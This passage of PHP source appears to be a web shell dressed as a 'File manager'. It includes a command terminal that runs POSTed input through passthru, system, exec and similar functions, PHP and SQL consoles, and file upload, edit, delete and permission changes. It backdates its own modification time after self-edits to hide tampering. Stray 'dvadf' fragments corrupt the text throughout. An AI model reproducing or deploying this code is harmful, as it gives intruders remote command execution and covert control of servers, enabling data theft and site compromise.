Aetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
